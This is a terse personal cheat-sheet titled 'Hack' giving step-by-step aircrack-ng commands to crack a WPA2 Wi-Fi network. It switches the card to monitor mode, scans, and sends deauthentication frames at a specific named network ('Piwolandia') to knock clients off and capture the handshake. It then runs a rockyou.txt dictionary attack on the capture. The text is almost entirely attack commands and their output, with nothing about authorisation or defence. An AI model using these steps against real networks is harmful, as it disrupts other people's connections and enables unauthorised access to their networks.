Hack
airmon-ng -- see networks connections we have
airmon-ng start wlan0 -- switch to the monitor mode (hacker mode)
airodump-ng wlan0mon -- try to start scanning wifi. or show the processes wich interupts it
airmon-ng stop wlan0 -- turn off the interface wlan0 (but leave the wlan0mon interface)
airmon-ng check kill -- kill interupted processes
(to restore the wifi: cd /etc/init.d && ./network-manager restart or /etc/init.d/network-manager restart sudo ifconfig wlan0 up)
airmon-ng start wlan0 -- start the wlan0 interface
airodump-ng wlan0mon -- scan
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 58:23:8C:84:52:16 -57 5 295 140 1 54e WPA2 CCMP PSK Piwolandia
now we have to catch a handshake. So we open a new terminal and type: aireplay-ng --deauth 5 -a 58:23:8C:84:52:16 wlan0mon -- try to break the connection in this wifi.
not we see: CH 1 ][ Elapsed: 5 mins ][ 2015-11-30 13:44 ][ WPA handshake: 58:23:8C:84:52:16
Ctrl+C
aircrack-ng -w /root/wifi_hack/rockyou.txt -b 58:23:8C:84:52:16 /root/wifi_hack/boost-03.cap -- star cracking